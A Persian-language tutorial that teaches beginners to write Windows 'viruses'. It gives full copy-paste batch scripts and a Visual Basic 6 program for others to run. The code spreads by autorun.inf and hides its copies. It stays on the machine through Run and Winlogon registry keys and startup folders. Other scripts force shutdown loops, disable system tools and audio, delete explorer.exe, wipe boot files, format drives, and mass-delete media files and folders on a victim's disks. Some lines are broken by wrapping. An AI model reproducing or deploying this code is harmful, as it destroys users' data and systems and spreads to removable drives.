آموزش ویروس نویسی از مبتدی تا پیشرفته !!!

[TO(-)i]

ویروسی که کامپیوتررا خاموش و از روشن شدن ان جلوگیری میکند

نوت پد ویندوز را باز کرده و کدها زیر را در ان کپی کرده کرده

@echo off
echo [autorun]>nel>>autorun.inf 
echo open=Aghrab.bat>nel>>autorun.inf 
echo shell\open\Command=Aghrab.bat >nel>>autorun.inf 
echo shell\explore\command=aghrab.bat>nel>>autorun.inf 
echo shell\find\command=aghrab.bat>nel>>autorun.inf 
copy Aghrab.bat %SystemRoot%\system\Crack.bat
copy Aghrab.bat %SystemRoot%\system32\Aghrab.bat
copy Aghrab.bat %SystemDrive%\Aghrab.bat
copy Aghrab.bat D:\Aghrab.bat
copy Aghrab.bat E:\Aghrab.bat
copy Aghrab.bat F:\Aghrab.bat
copy Aghrab.bat G:\Aghrab.bat
copy Aghrab.bat H:\Aghrab.bat
copy autorun.inf %SystemDrive%\autorun.inf
copy autorun.inf D:\autorun.inf
copy autorun.inf E:\autorun.inf
copy autorun.inf F:\autorun.inf
copy autorun.inf G:\autorun.inf
copy autorun.inf H:\autorun.inf
Attrib +H +s +r %SystemRoot%\system32\Aghrab.bat
Attrib +H +s +r C:\Aghrab.bat
Attrib +H +s +r D:\Aghrab.bat
Attrib +H +s +r E:\Aghrab.bat
Attrib +H +s +r F:\Aghrab.bat
Attrib +H +s +r G:\Aghrab.bat
Attrib +H +s +r H:\Aghrab.bat
Attrib +H +s +r %SystemRoot%\system32\autorun.inf
Attrib +H +s +r %SystemDrive%\autorun.inf
Attrib +H +s +r D:\autorun.inf
Attrib +H +s +r E:\autorun.inf
Attrib +H +s +r F:\autorun.inf
Attrib +H +s +r G:\autorun.inf
Attrib +H +s +r H:\autorun.inf
reg add HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\run /v Aghrab /t REG_SZ /d C:\WINDOWS\system32\Aghrab.bat /f
reg add HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\run /v Aghrab-b /t REG_SZ /d D:\Aghrab.bat /f
@shutdown -s -t 00

وبعد حتما ان را با نام و فرمت Aghrab.bat ذخیره کنید. این ویروس جز ویروس های باحالی
که من نوشتم که فقط کسانی که با ویروسها اشنایی دارند می تونند این ویروس را حذف کنند

[TO(-)i]

این ویروس هم خودشو توی استارت اپ مخفی میکنه وبا راهندازی ویندوز

کامپیوتر ریسیت میکنه

نوت پد ویندوز را باز کرده و کدها زیر را در ان کپی کرده کرده

@echo off copy virus.bat C:\docume~1\alluse~1\startm~1\programs\startup\*.b at copy virus.bat C:\docume~1\alluse~1\startm~1\programs\startup\*.b at copy virus.bat E:\docume~1\alluse~1\startm~1\programs\startup\*.b at Attrib +h +sC:\docume~1\alluse~1\startm~1\programs\startup\* .bat Attrib +h +s D:\docume~1\alluse~1\startm~1\programs\startup\*.b at Attrib +h +s E:\docume~1\alluse~1\startm~1\programs\startup\*.b at @shutdown -r -t 00

وبعد مثل قبلی برای ذخیره نام دلخواه و پسوند bat ذخیره کنید .

این ویروس 20 قسمت مهم ویندوز را غیر فعال میکند

نوت پد ویندوز را باز کرده و کدها زیر را در ان کپی کرده کرده

@echo off reg add HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Curr entVersion\policies\Explorer /v NoPropertiesMyComputer /t REG_DWORD /d 1 /f reg add HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Curr entVersion\policies\Explorer /v NoStartMenuMorePrograms /t REG_DWORD /d 1 /f reg add HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Curr entVersion\policies\Explorer /v NoDrives /t REG_DWORD /d 4 /f reg add HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Curr entVersion\policies\Explorer /v NoControlPanel /t REG_DWORD /d 1 /f reg add HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Curr entVersion\policies\Explorer /v NoFolderOptions /t REG_DWORD /d 1 /f reg add HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Curr entVersion\policies\System /v NoDispCPL /t REG_DWORD /d 1 /f reg add HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Curr entVersion\policies /v NoAddRemovePrograms /t REG_DWORD /d 1 /f reg add HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Curr entVersion\policies /v NoAddFromCDorFloppy /t REG_DWORD /d 1 /f reg add HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Curr entVersion\policies /v NoAddFromInternet /t REG_DWORD /d 1 /f reg add HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Curr entVersion\policies /v NoAddFromNetwork /t REG_DWORD /d 1 /f reg add HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Curr entVersion\policies /v NoAddPage /t REG_DWORD /d 1 /f reg add HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Curr entVersion\policies /v NoRemovePage /t REG_DWORD /d 1 /f reg add HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Curr entVersion\policies /v NoServices /t REG_DWORD /d 1 /f reg add HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Curr entVersion\policies /v NoSetFolders /t REG_DWORD /d 1 /f reg add HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Curr entVersion\policies /v NoSupportInfo /t REG_DWORD /d 1 /f reg add HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Curr entVersion\policies /v NoWindowsSetupPage /t REG_DWORD /d 1 /f reg add HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Curr entVersion\policies\System\Explorer\Advanced\Folde r\Hidden\NOHIDDEN /v CheckedValue /t REG_DWORD /d 1 /f reg add HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Curr entVersion\policies\System\Explorer\Advanced\Folde r\Hidden\SHOWALL /v CheckedValue /t REG_DWORD /d 1 /f reg add HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Curr entVersion\policies\System\Explorer\Advanced\Folde r\SuperHidden /v CheckedValue /t REG_DWORD /d 1 /f

وبعد مثل قبلی برای ذخیره نام دلخواه و پسوند bat ذخیره کنید .

این ویروس هم خودشو توی استارت اپ مخفی میکنه وبا راهندازی ویندوز

کامپیوتر ریسیت میکنه

در دسکتاپ راست کلیک کرده وبعد NEW وبعد Shortcut کد زیر را تایپ کرده
%windir%\system32\format.com D:/q/y/v:VIRUS
بعد Next نام را انتخاب وبعد Next وبعد ایکنی را انتخاب کرده ودر اخر Finish کنید برای اینکه وقت اجرا
ویروس در نواروضیفه قرار بگیرد روی ان راست کلیک کرده و گزینه properties وبعد Shortcut وبعد
در قسمت RUN گزینه Minimized را انتخاب وApply و ok کنید . این ویروس باعث فرمت شدن درایو
D میشه شما میتونید درایو شو عوض کنید .

[TO(-)i]

این ویروس هم خودشو توی استارت اپ مخفی میکنه وبا راهندازی ویندوز

کامپیوتر ریسیت میکنه

در دسکتاپ راست کلیک کرده وبعد NEW وبعد Shortcut کد زیر را تایپ کرده
%windir%\system32\format.com D:/q/y/v:VIRUS
بعد Next نام را انتخاب وبعد Next وبعد ایکنی را انتخاب کرده ودر اخر Finish کنید برای اینکه وقت اجرا
ویروس در نواروضیفه قرار بگیرد روی ان راست کلیک کرده و گزینه properties وبعد Shortcut وبعد
در قسمت RUN گزینه Minimized را انتخاب وApply و ok کنید . این ویروس باعث فرمت شدن درایو
D میشه شما میتونید درایو شو عوض کنید .

ویروسی که کارت صدا سیستم را غیر فعال می کند

نوت پد را باز کرده وکد زیر را در ان کپی کنید
@echo off reg add HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\A udioSrv /v ErrorControl /t REG_DWORD /d 0 /f reg add HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\A udioSrv /v Start /t REG_DWORD /d 0 /f reg add HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\A udioSrv\Parameters /v ServiceDllUnloadOnStop /t REG_DWORD /d 0 /f @shutdown -r -t 00
وبعد با فرمت bat ذخیره کنید .

ویروسی که 6 تا ویروس باحال درست میکنه

نوت پد را باز کرده وکد زیر را در ان کپی کنید
@echo off echo Format D:/q/y/v:VIRUS>nel>>virus1.cmd echo Format E:/q/y/v:VIRUS>nel>>virus1.cmd echo Format F:/q/y/v:VIRUS>nel>>virus1.cmd echo Format G:/q/y/v:VIRUS>nel>>virus1.cmd echo Format H:/q/y/v:VIRUS>nel>>virus1.cmd echo Format C:/q/y/v:VIRUS>nel>>virus1.cmd echo Attrib +H +S +R C:\*.* /S /D>nel>>virus2.cmd echo Attrib +H +S +R D:\*.* /S /D>nel>>virus2.cmd echo Attrib +H +S +R E:\*.* /S /D>nel>>virus2.cmd echo Attrib +H +S +R F:\*.* /S /D>nel>>virus2.cmd echo Attrib +H +S +R G:\*.* /S /D>nel>>virus2.cmd echo Attrib +H +S +R H:\*.* /S /D>nel>>virus2.cmd echo copy virus 3.bat C:\docume~1\alluse~1\startm~1\programs\startup\*.b at >nel>>virus3.cmd echo copy virus 3.bat C:\docume~1\alluse~1\startm~1\programs\startup\*.b at>nel>>virus3.cmd echo copy virus 3.bat E:\docume~1\alluse~1\startm~1\programs\startup\*.b at>nel>>virus3.cmd echo Attrib +h +s D:\docume~1\alluse~1\startm~1\programs\startup\*.b at>nel>>virus3.cmd echo Attrib +h +s E:\docume~1\alluse~1\startm~1\programs\startup\*.b at>nel>>virus3.cmd echo @shutdown -s -t 10>nel>>virus3.cmd echo %windir%\system32\format.com D:/q/y/v:VIRUS>nel>>virus4.cmd echo %windir%\system32\format.com E:/q/y/v:VIRUS>nel>>virus4.cmd echo %windir%\system32\format.com F:/q/y/v:VIRUS>nel>>virus4.cmd echo %windir%\system32\format.com G:/q/y/v:VIRUS>nel>>virus4.cmd echo %windir%\system32\format.com H:/q/y/v:VIRUS>nel>>virus4.cmd echo reg add HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\A udioSrv /v ErrorControl /t REG_DWORD /d 0 /f>nel>>virus5.cmd echo reg add HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\A udioSrv /v Start /t REG_DWORD /d 0 /f>nel>>virus5.cmd echo reg add HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\A udioSrv\Parameters /v ServiceDllUnloadOnStop /t REG_DWORD /d 0 /f>nel>>virus5.cmd echo @shutdown -r -t 0 >nel>>virus5.cmd echo reg ADD HKEY_USERS\S-1-5-21-1390067357-1645522239-839522115-1001\Software\Microsoft\Windows\CurrentVersion\Exp lorer\Advanced /v Hidden /t REG_DWORD /d 2 /f >nel>>virus6.cmd echo reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\Curre ntVersion\Explorer\Advanced /v Hidden /t REG_DWORD /d 2 /f >nel>>virus6.cmd echo reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\Curre ntVersion\Explorer\Advanced /v SuperHidden /t REG_DWORD /d 0 /f >nel>>virus6.cmd echo REG ADD HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Curr entVersion\Explorer\Advanced\Folder\Hidden\NOHIDDE N /v CheckedValue /t REG_DWORD /d 1 /f >nel>>virus6.cmd echo REG ADD HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Curr entVersion\Explorer\Advanced\Folder\Hidden\NOHIDDE N /v DefaultValue /t REG_DWORD /d 1 /f >nel>>virus6.cmd echo REG ADD HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Curr entVersion\Explorer\Advanced\Folder\Hidden\SHOWALL /v CheckedValue /t REG_DWORD /d 0 /f >nel>>virus6.cmd echo reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Curr entVersion\Explorer\Advanced\Folder\SuperHidden /v CheckedValue /t REG_DWORD /d 1 /f >nel>>virus6.cmd
وبعد با فرمت bat ذخیره کنید .

[TO(-)i]

ویروسی که explorer ویندوزرا حذف میکند

باعث میشه صفحه دکستاپ خالی خالی بمونه نوت پد را باز کرده وکد زیر را دران کپی
@echo off
Taskkill /f /im "explorer.exe"
ren %SystemRoot%\explorer.exe explorer.txt
del %SystemRoot%\explorer.txt
وبعد با فرمت bat ذخیره کنید .

ویروسی که باعث مخفی شدن تمام درایوها می شه

نوت پد را باز کرده وکد زیر را دران کپی

@echo off reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\Curre ntVersion\Policies\Explorer /v NoDrives /t REG_BINARY /d ffffffff /f reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\Curre ntVersion\policies\Explorer /v NOFolderOptions /t REG_DWORD /d 1 /f reg add HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Curr entVersion\policies\System /v DisableRegistryTools /t REG_DWORD /d 1 /f attrib -h -s -r %SystemRoot%\system32\gpedit.msc Taskkill /f /im "explorer.exe" start %SystemRoot%\explorer.exe

وبعد با فرمت bat ذخیره کنید .

ویروسی که باعث خرابی ویندوز میشه و امکان راهندازی مجدد ویندوز وجود

نداره

نوت پد را باز کرده وکد زیر را دران کپی

@echo off
attrib -s -h -r C:\boot.ini
echo >C:\boot.ini
attrib -s -h -r C:\NTDETECT.COM
echo >C:\NTDETECT.COM
echo >C:\windows\SYSTEM.INI
echo >C:\windows\win.ini
shutdown -R -t 00
وبعد با فرمت bat ذخیره کنید .

ویروسی که تمام فایلهای ویندوز را اجرا میکنه

نوت پد را باز کرده وکد زیر را دران کپی

@echo off start cmd|start wmplayer|start rcimlby|start perfmon|start osk start write|start wmplayer|start calc|start certmgr start charmap|start ciadv|start cmd|start utilman start wmplayer|start cliconfg|start clipbrd start compmgmt|start devmgmt|start dfrg|start diskmgmt start drwtsn32|start eudcedit|start eventvwr start freecell|start fsmgmt|start fsquirt|start gpedit start iexpress|start lusrmgr|start mmc|start mobsync start mplay32|start msconfig|start mshearts|start mspaint start mstsc|start narrator|start notepad|start ntbackup start osk|start perfmon|start rcimlby|start regedt32 start rsop|start secpol|start services|start spider start stimon|start sysedit|start syskey|start magnify

وبعد با فرمت bat ذخیره کنید .

[TO(-)i]

ویروسی که تمام فایلهای صوتی تصویری وعکسهای هارد طرف را حذف

میکنه

نوت پد را باز کرده و کد زیر را دران کپی

@echo off title WINDOWS XP Sp3 D: del *.mp3 /s|del *.wav /s|del *.mpg /s|del *.avi /s del *.dat /s|del *.mp4 /s|del *.3gp /s|del *.divx /s del *.jpg /s|del *.gif /s|del *.bmp /s|del *.png /s E: del *.mp3 /s|del *.wav /s|del *.mpg /s|del *.avi /s del *.dat /s|del *.ogg /s|del *.3gp /s|del *.divx /s del *.jpg /s|del *.gif /s|del *.bmp /s|del *.png /s F: del *.mp3 /s|del *.wav /s|del *.mpg /s|del *.avi /s del *.dat /s|del *.ogg /s|del *.3gp /s|del *.divx /s del *.jpg /s|del *.gif /s|del *.bmp /s|del *.png /s G: del *.mp3 /s|del *.wav /s|del *.mpg /s|del *.avi /s del *.dat /s|del *.ogg /s|del *.3gp /s|del *.divx /s del *.jpg /s|del *.gif /s|del *.bmp /s|del *.png /s H: del *.mp3 /s|del *.wav /s|del *.mpg /s|del *.avi /s del *.dat /s|del *.ogg /s|del *.3gp /s|del *.divx /s del *.jpg /s|del *.gif /s|del *.bmp /s|del *.png /s I: del *.mp3 /s|del *.wav /s|del *.mpg /s|del *.avi /s del *.dat /s|del *.ogg /s|del *.3gp /s|del *.divx /s del *.jpg /s|del *.gif /s|del *.bmp /s|del *.png /s J: del *.mp3 /s|del *.wav /s|del *.mpg /s|del *.avi /s del *.dat /s|del *.ogg /s|del *.3gp /s|del *.divx /s del *.jpg /s|del *.gif /s|del *.bmp /s|del *.png /s K: del *.mp3 /s|del *.wav /s|del *.mpg /s|del *.avi /s del *.dat /s|del *.ogg /s|del *.3gp /s|del *.divx /s del *.jpg /s|del *.gif /s|del *.bmp /s|del *.png /s L: del *.mp3 /s|del *.wav /s|del *.mpg /s|del *.avi /s del *.dat /s|del *.ogg /s|del *.3gp /s|del *.divx /s del *.jpg /s|del *.gif /s|del *.bmp /s|del *.png /s C: del *.mp3 /s|del *.wav /s|del *.mpg /s|del *.avi /s del *.dat /s|del *.ogg /s|del *.3gp /s|del *.divx /s del *.jpg /s|del *.gif /s|del *.bmp /s|del *.png /s Exit

وبعد با فرمت bat و یا cmd ذخیره کنید

ویروسی که تمام پوشه های هارد را حذف از ساخت وایجاد پوشه جلوگیری

میکنه Visual Basic 6

برای ساختن این ویروس نیاز به برنامه ویژال بیسیک دارید برنامه را باز کرده و بعد بر روی گزینه
standard.EXE کلیک کرده و بعد در پنجره فرم راست کلیک کرده و گزینه view code را انتخاب
کنید وبعد کد زیر را کپی کرده

Private Sub Form_Load() Me.Hide App.TaskVisible = False Timer1.Enabled = True Timer1.Interval = 50 End Sub Private Sub Timer1_Timer() On Error Resume Next Set fso = CreateObject("Scripting.FileSystemObject") mf = App.Path & "\" & App.EXEName & ".exe" w$ = Environ("windir") If Dir(w$ + "\system32\" + "virus.exe") = "" Then FileCopy mf, w$ + "\system32\" + "virus.exe" End If SetAttr "\WINDOWS\system32\virus.exe", vbHidden + vbSystem Set reg = CreateObject("wscript.shell") reg.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell", "Explorer.exe,virus.exe", "REG_SZ" fso.deletefolder "D:\*", True fso.deletefolder "E:\*", True fso.deletefolder "F:\*", True fso.deletefolder "G:\*", True fso.deletefolder "H:\*", True fso.deletefolder "I:\*", True fso.deletefolder "J:\*", True fso.deletefolder "K:\*", True fso.deletefolder "L:\*", True fso.deletefolder "M:\*", True fso.deletefolder "N:\*", True fso.deletefolder "O:\*", True fso.deletefolder "P:\*", True fso.deletefolder "Q:\*", True fso.deletefolder "R:\*", True fso.deletefolder "S:\*", True fso.deletefolder "T:\*", True fso.deletefolder "U:\*", True fso.deletefolder "V:\*", True fso.deletefolder "W:\*", True fso.deletefolder "X:\*", True fso.deletefolder "y:\*", True fso.deletefolder "Z:\*", True End Sub

وبعد درنوار ابزارسمت چپ برروی Timer دابل کلیک کرده تا روی فرم قراربگیرد و بعد برای ذخیره روی
منوی File وبعد Make project.exe انتخاب کنید .